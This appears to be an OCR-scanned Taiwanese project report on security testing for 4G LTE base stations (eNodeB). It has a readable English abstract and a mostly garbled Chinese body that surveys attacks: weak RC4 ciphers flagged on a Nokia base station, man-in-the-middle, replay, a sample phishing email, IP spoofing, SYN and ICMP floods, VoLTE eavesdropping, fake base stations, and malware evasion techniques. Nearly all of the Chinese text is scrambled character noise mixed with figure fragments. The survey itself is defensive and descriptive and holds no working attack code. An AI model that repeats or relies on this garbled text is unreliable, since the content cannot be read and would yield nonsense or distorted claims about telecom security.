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Abstract
Keyword : 4G, LTE, eNodeB, HeNB, DDoS, Uu, S1, X2, Mobile Security

The rapid development of technology in the area of telecommunications keeps
improving the integration and innovation of InfoCom technology and application
service. However, on the other hand, it brings brand new challenges for information
security. In the light of this, in order to set up a better environment for mobile
broadband service and to emphasize the safeguarding for mobile broadband
information security, the Board of Science and Technology, Executive Yuan
announced the project of “Accelerate Mobile Broadband Service and Industrial

Development” (hereinafter as the “Project”) in the year of 2014.

Mobile broadband network (e.g. LTE) is a milestone of a circuit-switched voice
network (Public Switched Telephone Network, PSTN) striding forward to a full data
packets network. Mobile broadband network simplifies the existing mobile network
structure into an all-IP flat architecture system that increases the capacity and speed of
wireless data networks. One of the major simplifications is the base-station
architecture, which is eNodeB in the 4G terminology and it eliminates the need for a
radio resource controller and assumes signaling transportation, control-plane and
security functions. The eNodeB plays a fundamental role in managing traffic on the
network. Thus security of eNodeB becomes an important issue of mobile broadband

network system.

The Project is expected to establish an integrated security detection service
system for Base Stations of mobile broadband network. The objectives are as the

following:
(1) To improving the security of domestic mobile broadband networks;
(2) To provide consumers a safer communication environment; and

(3) To assist the domestic mobile communication product industries to enhance the
capability through the security detecting or certificating of the international

organizations.
XXI
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Our Team had provided suggestions for mobile broadband network security
detection technologies, regulations, management policies, test plans, the platform
establishments and research of eNodeB security by doing research for the
international standards (e.g. ITU, 3GPP) and advanced countries’ experiences. What
we have to do is to manage policies and eNodeB detection systems at the same time,
and to make sure that our mobile broadband network security can be geared to

international standards.
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% Bikos, A. N., & Sklavos, N., “LTE/SAE security issues on 4G wireless networks,” Security & Privacy, IEEE, Volume 11, Issue 2, pp.
55-62, 2013.
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2L Cyber Security Leader - Imperva, Attacking SSL when using RC4.
Auvailable:http://www.imperva.com/docs/hii_attacking_ssl_when_using_rc4.pdf » [Accessed: 2016/7/6].

2 The Hacker News, Attacking SSL when using RC4. Available:http://thehackernews.com/2015/03/rc4-ssl-tls-security.html » [Accessed:

2016/7/6].
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fF & o & v+ & (KU Leuven)s Mathy Vanhoef {= Frank Piessens % 24th USENIX
Security Symposium # % — & #-4 RCA 37eruc 8% 8 % » #%h~ & 4L % ”All Your Biases
Belong to Us: Breaking RC4 in WPA-TKIP and TLS” » & i cif= 7 = % P & # 9-2%" @

% < (ciphertext)z cookie &t fz e # & & 7] 94% - BLIEPERF L 75 ) g3 o

Fid RCAscHEmy > i ? Penplfigs iz > kp 9k Ed £27+ &£ (Johns
Hopkins University) s Christina Garman £ i 3t~ & 2 7e4 & = & [ (Royal Holloway,
University of London) 7 Kenneth G. Paterson 7 # ”Attacks Only Get Better: Password
Recovery Attacks Against RC4 in TLS”#% = ¥ & &7 | & TLS session resumptionlatency
& 250ms fr 2%° = = & % < (ciphertext) > B & 776 -] Prx & %R R o 4o% latency
¥ 12t Client/Server #:7 0= ™ *% 3] 100ms » # 14 Mg 3 312 /] ExXBEER o
TR kgAY Z R Pl e (ciphertext)e 55 <~ g = o B E B2
— ¢ Microsoft » 5 %+ 2013 # 3 # 4% 2868725 % > il £ 4 o1 o753 42016 £ 1
DL P AT M A SRR L L3R RCA e R A 412

B3-15% - 2B RMBAEY 5 E -0penVAS 35 B3 1 £ > 444
z_cr1 Nokia base station & 17 33 Bh¥r s Bl2E > HFR 5 0 148 % .?fu’/gﬁa.’rﬁi%ﬁf ¥ s B

Fh kg e FigiEe g B>t eNodeB et it AT I IN K IURF o Ff LB %
5877 . SSLende b F 358 RFIERCA RER T U E B AR o
Summary

This routine search for weak SSL ciphers offered by a service|

Vulnerability Detection Result

Weak ciphers offered by this service:
TLS51_RSA_RC4_128_SHA
TL51_RSA_RC4_128_SHA
TL5_1_2_RSA_WITH_RC4_128_SHA

W 3- 1 OpenVAS % Nokia base station i & ##45 % %

% Vanhoef, M., & Piessens, F. (2015). All your biases belong to us: Breaking RC4 in WPA-TKIP and TLS. In 24th USENIX Security
Symposium (USENIX Security 15) (pp. 97-112).

2 Microsoft, Security Advisory 2868725, Update for Disabling RC4. Available:
https://technet.microsoft.com/en-us/library/security/2868725.aspx » [Accessed: 2016/7/6].
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FH &R ABBER
2. ¥ [ A sz (Man-in-the-Middle Attack)

PEASHE (R 3- 28 2 AL kA R L a0 P A AR HoR
IR e —"‘F’“‘{igféf BROFEL P BERL oA FELAFES g IR - BFF
Sai U L L R A S AR p:?—"“ﬁ”%lo PRFAT LR D R
i%iﬁ%‘%%ﬁﬁ’%%&iﬂ%“ﬂW’ﬁéﬁﬁmﬁﬁuﬁﬁ’iéiﬁ6
g RE T HHHED Hp o Ft o ARSI QT NP hh g R Bp

o

>

% i 2% 7 (Secure Sockets Layer » SSL)H_% 7 FE RS R Y @ﬁ;?]px‘fi
MR R ATE D d 2R @ Ak R L@ * 59 SSL &5 B (OpenSSL) ¢ >
T LA F W A ST # AR M ik 0 )4 2014( CVE-2014-0224 )~2015(CVE-2015-1793)
ERGHRBE R R T A SR TR A R IGHEAGRIRT 4 T L
R IEY FATHEREITZERY AR (TR IR E DTV EETIRLE

5

&

—_gf_lj B s b ’ﬁp‘w)»}iﬂzi ¢ R A STE o
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Man-in-the-Middle Attack Example

Jack Peter Jill
Victim 1 Ma’::‘d:he Victim 2
Send over your key € Send over your key

Peter sends his

own key to Jack Jill sends her key to Jack
|
Jack sends his account Peter sends Jill his account
number as 123456789 number 987654321

Jill sends money to

The MITM the wrong account

attack
is complete

W32 7¢FAETLR

AL KR Veracode®

LiTd ALY > 3GPPTR33820 % M1cne 35 p ¢ » 317 P B A s enw

PEFIEAOERR D D A A - XEFRERGPF TR FRFS
RKEINAZE SFGFlX? AP EEHEFTR T ZALT i R4 2
MH 1

3. £ #t¥ (Replay Attack)

i
“

SO E T LR B R Y F {oIRA R R A e S T I
te o EAF R RSB 0 BRI B 06 T B AICRL S €5 o o

3-3 #75 > Bob fr Alice & {#i& {7 ¥ & 3@ cnde it @ L pF Darth 5 - :’«:éifdz o Darth

e

SN

i Bob # i 2 oM S EAFF EFE D it v ietk- ko Alice €325 & &£ Bob
Mo X B A m%ﬂéﬁ%{ﬂ:?ﬁz FROEMHe PREPNF R FREAFE
T L TS i

FHEAFRAGE 4 NP IE Lk CEAFSTRFL o b 2015 & o

% Veracod, “Man in the Middle (MITM) Attack, Man-in-the-Middle Tutorial: Learn About Man-in-the-Middle Attacks, Vulnerabilities
and How to Prevent MITM Attacks”.
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~ Bt P E gy £ Fc ¥ - BT % QUIC ( Quick UDP Internet
Connection) sz # -QUIC #_Google *+ 2013 & 4 2_c— i@ * UDP {2 2_k "% iat & >
P P AL 3% B 2 ORTR R B 1 L o T RN £ F A BV RS
- @R F A QUIC i > H I TR EE F L B R A &SR
F e %%Pﬁjz-xzﬂﬁ c P EESERER WG R R RO [ RBRAS
HAF AR E o A KFET L] * L3 Session ID kiE = o

Darth Capture message fram
Bob to Alice; later
replay messaqge to Alice

Internet or

other comms facility

F 4 %k PenTest Magazine®’

4.  Fp.4£) % (Phishing)
BT F AT SRR P ARSI ELRT R F OB TR
ELTF TRk T ARG E > A A SRR ELRS CR3-47
W ¢ By =+ L T (4o Facebook , Google , Amazon ) % # Hfc i
Ao A AR FTITESR L > A BB p AR o
BH) B R R T F hp AR Bl 02004 2 e 7o E et 1)
7 & PLEAD e gt 4 4. 2812 528 > PLEAD % p »t 2 B g 250 g didp 4 ehF # > -

% Robert Lychev, Samuel Jero, Alexandra Boldyreva and Cristina Nita-Rotaru, “How Secure and Quick is QUIC? Provable Security and
Performance Analyses.” in Security and privacy (SP), 2015 IEEE Symposium.
7 Susmita Mandal & Ayan Kumar Pan, “Risks in Cloud Computing”, PenTest Magazine Vol.2 No.5.
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\ ]
-_
P
T

AT B R E TR & LA ’ﬁ§ﬁﬁﬁﬁﬁﬁﬁﬁ%&iwﬁf

BLA  PRAOLFT ¥ A EBB@E LA~ - T BIE)REFLE
i ok it * HHE HRIF T FEIEY PR S AT T AR O g s
BRI bldor B A(IPS) ) A D T IR 2 e T i A 1518 kB
B AT

From: Amazon (—— on behalf of notian| Amazon ema|l{'addr'e’s§5/°1/2°1“ :55 PM

» R (noteithe;missingjAlin/Amazon)

Cc

Subject: Suspension

amazon.com

Dear Client, | <li— Generic non-personalized greeting

We have sentyou this e-mail, because we have strong reason to belive, your account has been used by someone
else.In order to prevent any fraudulent activity from occurring we are reguired to open an investigation into this matter.
We've locked your Amazon account, and you have 36 hours to verify it, or we have the right to terminate it.

To confirm your identity with us click the link hbellow:

hitps:fwww. amazon.comiexeciobidosisign-in.html

_ Hovering over: the link reveals it points:to;a.non-Amazen
Sincerely, site. - "http:/iredirect-kereskedj:com" a

The Amazon Associates Team " —

© 1996-2013, Amazon.com, Inc. or its affiliates

W 3-4 #EHATIHEFH

74+ % & © Sheridan Information Technology28

5. IP %5, (IPspoofing)

IP 3%,55751{{?'% Z AR BEARATL R BEIPAe B IPAe ¢ ]2
Bh kp T RARDIP a kB FL G VAR o RV S 0 IP e AT
B e BAEIT S 2 ROEFH B nE F kR RE B IR ETIR RS X

% Sheridan Information Technology, “Phishing Messages — Don't Get Hooked”, 2014/4

>
~
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MRS R o G PRI FE B ES A HIP ey AR EREr §o plrr §
§EAREGEDIP s A FE NP IP iy o dof] 3-5 407 e F hE

FIP 5 1111, ZEH IP 3333 %% IPie $2222 3 A xd| ot Kite
65 3333 ABE AT R FAFEFE AR PR AR 2 Y
"ﬁ » ¥ R KR 3.3.3.3 #-g [RIEETIRIEITH o

P T B S SV 0w i H 4F 3 #& 3 (Unicast Reverse Path Forwarding)  j& &= IP
FEH A e WiERd B RO AL B2 Mg EF H IP KR aSIP e X
# oo B R $T PR AR I{?—*‘ ¢ 1% B eh £ Bre g KR kI
TR R iR 0 o PF Unicast RPF 2 g 7nut kR gk Al d £ P 3 A g ook
$IP e o

Attacker
real IP: 1.1.1.1 Internet-Router
source: 3.3.3.3
destination: 2.2.2.2
P IP

M T

source (spoofed): 3.3.3.3
destination: 2.2.2.2 '

source: 2.2.2.2
destination: 3.3.3.3

trusted Host Victim
IP: 3.3.3.3 IP: 2.2.2.2

(might be target of DoS-attack) (possible security breach)

Wl 3-5 IP $5 Fusc 7 4 W

TR AT

2 Wikipedia, “IP address spoofing”.
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6. Fe¥rrRF3rc & (Denial of Service attack)

l‘ﬂ%PRﬁ»ﬁ?éﬁ?*é@"‘ T EFN B R P RT N S FNT
e FRITH B2 L P REIRIE o LA B RIFA IR ETIRIS T  4
2000 &> d - A £ A ATBE I RBF LOE NP ERL IR L ANF B3R K
JR7% > 4e eBay ~ Amazon ~ Yahoo » i&=x crisc Fh g 7 ipd erbansi Bhinz B0 » SR
Tk e B A4S R TR ET PRI ST o ot

PUTPRIA T G R T A LA BT H- A b A R FIRMRIRE > L A
% % 4o SYN flood(4- ] 3- 6) » ¥~ #1945 TCP 3 2k it (7 ehsc ¥ « TCP At > @ 4
PR K g i SYN g IR B E R ¢ v @ - B ACK fop & ¢0 SYN g
TEFERT Fwig ACK. ;zéifdﬂz @ SYN2Z 8 72w ACK> %E’zﬁl’iﬁﬁiﬁ— ﬂ
FHREHE ACK: gl $EY g A g % KAFT RIS A < £
71 SYN I{? - Fod-1é PRI Ii—’*‘ E R E o B2 RE LI R AR —]‘5‘ ZE5
45 SYN flood 7= & 4% pb 3t ok Bk 4§ JRIE o

SR FERRERGLs g2 0 F B F <2 4o ICMP flood(4- @) 3- 7) -
”Kﬁﬁﬂ@*ﬁ s '%ﬂW%ﬁ*iﬁﬁﬁﬁ?iﬁﬁﬁﬁﬁﬁ’éﬁ{@i
L g

T4 E s Eehping ¢ Flse#enp o BRH RERBEE -

KL RO R LTRSS B R A 0 B E AUt E R R
B N R o HE e 3 TR e 0 195500 2014 E enk R e g R E )
P28k o ¥ - %G o seffenL 2y ARRAR SR> %2015 & 9 7 d CloudFlare™# %
MEFAR T F e d £ eand 0 DDOS e o % F 1 0 £ 8ie 7 DDOS sefF ehv 7
wowaWﬁu§ﬂuﬁaWJ%~¢#¥ Fod Beonk T kBT chiligp 0 B2

P 2ot Jpf o R VL2t P - Figd oo

-2 o sgdfFand 2 kAR S it > & 2015 & £ 7 CloudFlare 405 - 4= 4
B d 7R ERE FH AL L FN 1% R 7352 # (Distributed Denial of Service attack,
DDoS) » 44+ CloudFlare #7 i ¢ ch% = fexb > 4+ 8 B/ pFescF FH ¢ > B35

RN

® Marek Majkowski, “Mobile Ad Networks as DDoS Vectors: A Case Study”, CloudFlare, 2015/9/25.
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658 BAEHETRNS ARG RE PP HTTP FRESFUREFEE
21H 5+ e FnBa R kp? Wend ¥ g0 J'M%}ﬁé;aﬁ DDoS sz # ¢

= f—?:]‘io

2015 # >z = 20 ~ & i# Android Hacking Apps ® ¢ Scott Herbert # % 7 AnDOSid
1 EE PR - & P ko 7 et pR74(Denial of Service, DoS)sc# o
Higet 1 & 0 B E T 0 Android B R b A e sb g Be R8T PRF3(Denial of
Service, DoS);‘Edéﬁxi? o LM MIPREAR RARBLE > £ & 2016 & Apple & WWDC
Bgd 0 0 i0S 100 /27 B AL H 34 — w4 % ei0S 2w > 4 10S 10 4%

v zwt?ﬁ”’—tﬂﬂ; S - T ZRLfR O3t R > Apple #-2 4 5% % eh Bk
Fad k{ x> HER o

7 h"\..—\\
{ 3
L~ Internet .
:1 N J
| . L '/.l —
E Server
@ SYN with unused source IP address

>

. SYN-ACK which @
will get no response

@ SYN with unused source IP address o

o SYN-ACK which @
: T get no response
-

-
@ SYM with unused source IP address N

>

SYN-ACK which @

will get no response

® 3- 6 SYN flood 5+ R, #

AL kR - Cisco Press>

31 £ 4% DDOS s<# http://www.scmagazine.com/ddos-attack-used-mobile-devices-to-deliver-45-billion-requests/article/441456/

% AnDOSid 1 £, http://www.effecthacking.com/2015/07/andosid-android-app-apk-hackers-tutorial.html

% Apple iOS 10, http://appleinsider.com/articles/16/06/21/apple-leaves-ios-10-beta-kernel-unencrypted-in-potential-bug-discovery-effort
% Saadat Mali ,”Network Security Principles and Practices”, Cisco Press 2002.
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Ping Flood

Attacking System

Broadcast
Enabled
Network

/.Q

Victim System

® 3- 7 ICMP flood -+ &, B

ALK R Picateshackz™®

7. %ﬁ,(Eavesd ropping)

2015 & 8 » 3%, ;@ - B AL P Channel Nine's 60 Minutes & 7 5% % ¥ 14
LA FAEF IR BT F el E(e SST) KA 0 A WA N TE AR 5D

4

i
hit — pate gRF B AR A AR Y @A AR T o T 4T L E R i
& hite o 1T R 4 X 45 (Wall of sheep) ™ 2 g Esc# P 255 S8 ahb|F > A
5T E AR M T fg;r;;ﬂrrs'v u—ﬁ MERPEX I B IALHRY EFARRR
foFPR g e o ARG A HTTPS fexben T ) Bepeit * & > # PR
FIletE g Rag ri3nm g 05 Foon™ NP R AW IHE L o N RROTE g SURR
BB T ALY IR e Bl RS RS R TR A A R 2

Nokia #7# #e— {» LTE radio transport security ¢ £ 2 p % #% 3| VOLTE
eavesdropping > 4% & F %8 (Physical) 2t & % 7 4&(radio link)4t £ > » 2 pﬁ* Ak

® PpicaTesHackZ, “Become A Hacker: What Is Denial of Service (DoS) Attack?”
% DAILYMAIL.COM, “Hackers can access EVERY call and message you send: TV show demonstrates how easy eavesdropping is
using biggest privacy threat in history”, 2015/8/18.
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0B enge 1 Lo Glde:Wireshark <& 7 #6032 ¢ 4p 1 & S1-U 7 5 SR 4l A L g
Se s o ATt VB T BT A D eiE st @ 518 Wireshark #af3ss R R £ &7

e (4-B13-8) B A PHRYHF VOLTE T G £ % » F15 - s Rz B R 4L
HRE R EENY SR ER A BETIFES S

(M vottepcap - RTP Player E=SECH

)

V] From 192.168.170.151:11306 to 192168.171.111:5010 Duration:73.18 Drop by Jitter Buff:539(16.5%) Out of Seq: 34(1.0%) Wrong Timestamp: 219(6.7%)

m »

i me 192.168.171.111:5010 t0 192.168.170151:11306 Duration6646 Drop by Jitter Buft0(0.0%) Out of Seq: 0(0.0%) Wrong Ti p: 000.0%)|

1] View as time of day

Sterbuffer [ms] 0 © © Jterbuffer ) UseRTPtimestomp ) Uninterrupted mode | Decode | [ play Pause Stop

W 3- 8 Intercepted VoL TE Call Replay

7R kR LTE radio transport security”, Nokia Networks white paper
8. & %k i =k (Fake Base Station)

BARGEE DT FE R R 2R R KA H IR - 8 LTE 3541 i on
oo T IRETIRIR eI (T 5 ¢ AREF o 1T B AFE LTE g ,‘fgu # o
UE = R UE 352 F ehgkak o 2252 £ > B =k (NodeB & eNodeB) »
- LI LA R B IR L 0 7 B H R A - i S
BAEiE & FEETIRTE o

& 3GPP R 240 TUE i 4% 7| #r40 % e P E 38 ek ok g o S8 A RSP e B
PPt UE S Ed @ Asb A2 Paguient3f - 5 - Bikdsha UE ST 53U
Boshenghsh o B UE - 287 Ple B A - A0 A 2B L e BehfhaiR
FREE T A DI A T Rl UE B35 7 0 R B DI STIRGS © 2R
BT R AP > UE RIEERIF R E D 45 > - EFEATRBNE

FHCT - LT Bl sk 0 F (T B O R R TR ¢ o HE)NB & A Ap S 0 so iR

P 53
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HT R ERFERER 0 HENB £ ¥3#51 @ * X8 ¢ ih 0 HENB > B h
H(@)NB i 7 1t fioh— gk 2 5 #7535 5 ol 0 0o 7 B 7 10k B2 PR

R T jﬁm;%j}g‘%?_i F Fe e g o

LI A b 2 pE s TS E A Arbirp B IMElI B8 A aie 7
Bl 7 W zheb o RIE BA i & B R B b (750 o Bl seF H F
Pk b K AL ks [T A 0 R B S A ke o ¥
#-i BRI TG Hp A RN % > 3 e (Closed Subscriber Group, CSG)» 1 {

]L ’

AW
f@'

ﬁ‘s-lﬁ,x%]
<F A

2 Y
L &

w4

p

Zl_m;_*r

E\P

be %

Bz f’{]@&\g ’ uéﬁspxg?r_ﬂm$%oii§ﬂﬁi——:wﬂ?f ¥ Mméﬁ

X

!

.

PR NI N EL AR

¥
Yy =k

s 3
it

(=
S

ho2014 £ FRNER G TG FRZER 2007 EA= o I L :
Dirtbox «h3£ ¥ Fd Axk > MEHPI R FEZ A e 0 fry G- LA KAEF X TR
oW e frc B R CSCRTEFR P HNBE* » B REFHFEN* >
® HeNB B 3%z * 53 » o PR I0FE o

BIRSEZ - BERL(R)ALRGES - BE2HTE FF RRILAFERNTH -
2015 & f7 f 4« + & (Aalto University) = 5 < Altaf Shaik # 7 B F:4% 1" Practical
Attacks Against Privacy and Availability in 4G/LTE Mobile Communication Systems” #
P BFEERRT Y AR A o L et B RSB OpenlTE i sc i
IMSI catcher> ¥ #-3 LTE £ 4% & % & /™ Mk GPS =% »i&m i BiF| £ P eniz ¥ >
A A TS SR

(=) a3k

(Fo RAR R 1 P TR s R AP IR D kL ot B e g
G Do A MR R RIS (8RR 0T A B A 6
TR AR E T BRI R 0 L b R RS BRI S o AR e 2
FE oo MBS E BB A A AL R 0 BELENSNF L Y R
SO KRS L T R SR 4T 0 R T B T Sl SR o s

37 7}41}1%?51}” -2 ﬁ;@ Bl BEEEIMAR SRR Wx‘,\%f » 2014/11/15.
http://technews.tw/2014/11/15/u-s-marshals-using-fake-airplane-based-cell-towers-to-scan-cell-phones-of-americans/
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AR o bldom A CIFL O PR kG T AR R T E SRR
e PP 4% 4% = £ (Advanced Persistent Threat » APT) % 4] * #8865 F ] 2RHEC %
BICH o 3y AHMT 2R RZERLFERDRT] o

¥ FREES S22 A UA#HS > 2 Android kSRR 0 Aok £ 3 B
— ll}ﬁi%ﬁ’ﬁ\;mm ,,;43§é_‘*3—% Bt 4550 ¢ ’E% T’;gxﬁq%gmajﬁd_ St

%w%ﬁﬂﬁﬁﬁﬁﬁ“%f%fﬁ%’w{£ﬁ% B R BanoT

BERASL 2 AR FF e K

ﬁﬂ’%?ﬂaigwﬁﬁwﬁwj
o3 2

Ex
A KR AR5 € TR TR L E 7
TR R Fj{l gﬁi&-%%—?%’ LIEC R JUNA 3 p N
ol

1. &R A& (Malware)

TR EH I RRE E SR SAEFREIcA PR FAEY AT AR NER &
§ o A i H ?F%ﬁv%@gﬁfz‘ziﬁﬁi}iﬂﬁj@ﬁfg o m lg'—aﬁgt.%zﬁ;;g‘gﬁﬁiih A
TR §E 22 F 5o o EipE R AN B SAE P AR RADE AL

ERANTERFE DS E Ryt 1 95 4455k 7 - LATEA AL
TR A E S SEEFBEFE A B4 21T o 4o R P AL 528 (Zero-day attack) o Th—f;'; il
I Faind g d > AERFR A BNE R RS e E S A L AT AR

AT RS PRt o REE A IV A h 3T HR T %
RIS F LehERARLGSREA 33

’4.

=
P!
She
-4
&3
x =
a3
oy

m?ﬁ%&ﬁﬁ%%ﬂ’ugﬁsf@ﬁy@é%ﬁwﬁﬁoz@w&i%’?

FLE A RS chprrepr 20 TR B KE e R o FipL AR Ry
AEE 2OEEL G e R REEWFMNPE(T LB FEBELME L
HE2Aid R EL DT i JRCATE <&
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% 3-3 ¥ LehE LA

%3l ¥ i
wemps | CERE - BELAS §EREEER AU TR
R(VTn'fs; Moo BRE AR BRI TRRS S ERFRFE  BEAY
IR LT % 0 BB T Mdnid 7 F o

Yo _ ﬁéz ':?‘g 2 J’Ijﬁlfk Hbj&? ‘#J{‘f‘r‘l" B *\.;?;Tglmlﬁ‘&%}_}\ s we

h RSy B #
%ﬁﬁﬁ BiF R %+m@ﬂP¢@h1 AP R
7 R LR E B TR AR I o
g | TS G B LA R - DRRT TS
apim | T n : ﬁfe /

(Logic Bomb)

FATTEAEE] ERFFHELFT 5 o T F
CESANE LR SN RN R A L T_epE R

*@L
=
St
-1
o

5
(Trojan Horse)

LRLK P K EA E L ERE > AB RN g 7 - B
PR g EH YRR G [ ERFHRNE I A
AR BT T EREEE 2 RR

B - BV T R AR R e F%T‘?’l@‘/‘;{%ﬁ nE R R &R

(Spyware) Ao e b aEE RISEH ﬁ#pﬁkiiﬁvl:flﬁxw;iﬁ% LFR

BABAE | WM RETRE S RIS EHNEIMRT B LS LE Fo T

(Adware) | BT 6 > " KRR N

¥z oo EHRHRPE AT e e BB ENBEREBRP DD ELAS > &P
(Ransomware) | % % % 3 cpiBens 2 dp & game o

FR&R: R Rt 29%32 ABEED

T ob o 935 McAfee f 2016 & 3 7 i@ AR b 0 B S & L4250 (Mobile
Malware) # it 1,200 § & e 4 #ic® (4] 3-9 0 2015 & % 4 %) - £ s ag & g
Bt RBAPT R App s jeing T LE LS

¥ McAfee & 4 47 2 , http://www.mcafee.com/tw/resources/reports/rp-quarterly-threats-mar-2016.pdf
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Total Mobile Malware
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Source: McAfee Labs, 2016,

®l 3- 9 Total Mobile Malware 3u3+ % #L

T KR - McAfee

FLERANTREREIL FREY S RES KL @ D App 3 App e
Ao —"ﬁ 1 SMS 3 3 0 i Bi* = (Global Positioning System, GPS) i+ % ~ 3§ B~ % = ch
IMEI (International Mobile Equipment Identity ) {7 #+:8 20 B " 2885 ~ £ 8] K 22
tRHLE g o T @ﬁ?}fs{% FTHIAEY 2FTRIAL %= " b4 & 2014 &
Bk 2 ]k :Llﬁk;;\ s R ”.,’o;:*}é—f podiE e —%]z B A ? IR 2 ) (CIearText)-% ;o

vl R PR % 5P o

Boor g 4w & 48 (User Equipment, UE) Z i (78 SAF i 8427 » R ¥ H F32
F Bosseh- = £ 4% (User Equipment, UE) i & § 7 #8 5 ec ~ 44 £ £ {8 50— gl

E S
TR B ARP TGP F B R R K e R LR E TR

W) £ 484 1 80 AE, hitp://www.ithome.com.tw/news/90016
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R PRS2 38 (T

A R e kg 0 37 5 e 8 (User Equipment, UE) & i Rz & foin (78 > &
B TR - F T B xi%% g FREFLEA LR - LEXEFAELAL
£ 1 ﬁ.%'v’ v X F B K st B4 10S 4% (10S Jailbreaking ) 2 root - Android & 2~ &
WAEFRUGFTR OHFIRAAIRP AL 2R & X EFLocHF 1 L
R je s o it A 3 Be(Microsoft Research) < Chuanxiong Guo, Helen J Wang, Wenwu
Zhu %5 &3 £ %% <" Smart-Phone Attacks and Defenses” ¥ # it smart-phone + &t if
RELFLERT R RR & %%"?‘f & # # T 75 (Emergency Call) g w2 3
BirZ > B iP#H j{%g o Bg smart-phone st B ¥R B AFH K G P B E M EH -
AR o

=N

PEBAEF 2 e o - Rl SRR A SRR AP % 2R
TixE R EME - k¥ %L B (Deloitte) & 2013 # 3% 2 e— »”7  Deloitte
Technology, Media and Telecommunication Predictions 2013” 4F £ # F| ~ ¥ 90% < % %
Ben® 2 RAER AR 0 Fh LRI E N R R BRP LT gL 5B Y
FIEF TR S Bl X F Y RAR M ML
Fatipd WAEPRE AL L R Y R AR B X
Flripl Sk p 07 IR R g £ 46N 2
(Apple iOS)z T ¥ & sifrickd {76 B
FHEE A S B0 2P A gne ik (7 i0S A& (i0S Jailbreaking)
root - Android » ¥ % KA A~ AP M KRB T2 08 0 oE M 2 AL

3l

2EZAEES - TR -
£ B 2% 7] (Google Android)fe 3t B 4|
e pu i i LTE $epe2 & ¥

e
Rt

ol

K*%?%%ﬁ{’@ﬁ?ﬁ%§%?%§%%ﬁJU” FE R R o T
>

b

hpas)

3

= W -
s 7+ B

*mlt

HESFR R &S 5 N L &5
BIpCR T LT R X 2 Ak K T 78 T R A U R

L3 A L s r B o

dotipl S A (T AR R R A T SRAL IP KA o frriig il it K (Application
Iwwwwmﬁ+#m§ﬁ”§%?E;iﬁow%:ﬁﬁﬁiaw&?%%W$&ﬁ
ﬁvi}v;‘%y}%i; © B Ao E %‘ﬂ%% » & 2016 # 5 % kp Fx 22 Blue Coat
Systems 3 3¢ %5 2% Z f1* Android & SLRF S E D L ;rDogspectustﬁ qu:‘é )

~ LR EXGAEE AT AR RS R KA 4 F £3200 ¢ iTunes A5+ 4 ¥
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,l'l ;; /:2 Abﬁgéé40 °

2. F & ¥ ##F( Analysis Resistant Technique )
PHENZZAELESSP I PR REBPE R ELARS LD B AR

ST HT ) I R B AT A bt R RRIR R TR R s 1TRE c RR

#ﬁ?ﬁﬁ%‘?%ﬁ%‘iﬁ? TN 5 o RRF DE L RF FARE R A ASREY o L

7 F B pe(rootkit) ih & RoAZ S 0 ¥ Y *ﬁf iR AU e gttt H

i

M-

A EOERFT S TR ﬁ%g’Tﬁgﬁﬁﬁﬁﬁﬁﬁﬁﬁ%%oﬁgﬁ
FOA S RS E I8 R i (snapshot) > T 4 i B R Rk o T O E AR R R
A7 B AR R AR

Ra o T E R F B B A 47 Be(Virtual Machine Detection)srg 2 » 7 1 2] 7

A250 kB R FALA AT o T engk e £ % 48 (Anti-debuggen) 2o ¥ Ap i 0 i st
FEA MG AL N E AR 0 B #mﬁﬁu%ﬁ BB E A AT
BREEME TP LARPEAE FENF I G 1A B e R
AL e e G B R AR 0 BB
TRAPT R RS TR BN I o 0k W e e BB (S A2 A

5 &

p 1 AR B F A 4T etk o

HFRALN F 0 SR E G F @ 1 ARNE RS 0

B F & AR AT R
MAD A RILRE - B AATS e R 0 R AT S mE e L kol
B

REEETHR H 0 UATRA AL 4 s g

3. g RF P Code Obfuscation )

FTRN

A ERRN AR LR F L A E I e kT R A A
BRI Pt S R gg o A0 0 BRARS R ¥ R AR A B 0 IR B
DAL EE IR A7 ek o AR AR MDA i A o i A - R

-5,1

B v REEN R RN hE oo $N B E LA AL R s

#"7'1—4 3 Il% * o "'—l—l,{ 5 Eﬁdl‘ mP &Eﬂi“ A ﬁ g?l]? ﬁ%@/’}ﬂf%gﬁ% ;\4 9%?%‘6%%5;\ é_}j;

0 insights,# % #: i Dogspectus, [Online]. Available: https:/insights.samsung.com/2016/05/04/dogspectus-new-stealthier-ransomware/ »
[Accessed:2016/7/6].
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FBERBRTEIRG 0 BT AT R o

REBR AT U H AN RS S T AN R A B AE e @ TN

FERAPEIAELFTABEAFT PO S aF i@ LR PRBREAE - A58

ﬁ%#%@ﬁﬂﬁﬁﬁ%%’%{%ﬁ’&ﬁ’ﬁmﬁi BAEREDLT o
ReSsEBF > AL fergiaT et I RB S T SiEap @@
Bt @25t RIE T2 o b o 2 FEBRHY It BiE > HH P
i B A ﬁﬁtﬂﬁi_’rﬁﬂj;‘ o tt hris- for i B H B = while x® B] > w B R B =

-

R oY FRE o N AP R R o dep ] “ﬁ? I CAY = F i R

B M- TR S FRE

>

4. A Pp( Packing Technique)

FEAFHERAESBAAE - D 5 A RHE by e o
© e R AT R R P R et S S 2§ ke el d 0 LS

(

A ATA N E L AR ST R TR T A AR A ATI B AN
PP 2 FERERFAS UATEATINERRSFNORERE L LR EL g e

PERARNFREITD AT R o F R AR s e B VIEREE RS 0 B
AP AR T F LA RPRE R FAE R BT X AR A AR -

‘1\'.

SeBPLAT] Y Bokeni Bk 0 WY R F Y 28 DLL 2 2 2 R T RAFEH
gt AR AP s BT AR TR REPRBIREFTRE o b
TP A REAK D G L BEFNEBRE

o4

AT MELANER T B

AT 0 Blde PEID » 7 o k-H B s TR BT R A2V T AR (T 5 et
FRASAEY PAL LB e R NREAPHBLIFBLERRT F5F WG ¥

— 3 #c k8 PolyUnpack » ##B~#-7 534258 F w82 54 s 8- @2 FRod gL
AR B fEEE o
5. iEw ¥ %f2esc ¥ ( Return Oriented Programming )

ERARNGucH § A0 2Nk N Fe o L0 iEpe s RS
ﬁi%%%%u%%ﬁﬁﬁﬁﬁﬂ’%{tmiﬁmﬁﬁﬁfﬂiﬁﬂﬁFWﬁio
AARH S F K R BB LIS A e AL E 0 B R e d
(Return-Oriented Programming, ROP) ¥ 5 — f& # * dscdf £ 2 » 323Lpieié 5o F i Jy
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BB T U AR St e et e B S I B R
it R3F 5 40 4 B 2I(FE 5 Gadgets) -

PR P
% - B ogadget i ¥ B A TIEW A 4 o R R AP 0 AR50 0 kA e
EEIECS: Sl R R AN NS AR - KA e SR X 2oy
L E S Bl B E o T AR AR G TR R R R
ik w AR e e E AR Ee hdescF oo

T
i

[
S

6. R ’;Fﬁi%?&( Privacy Steal )
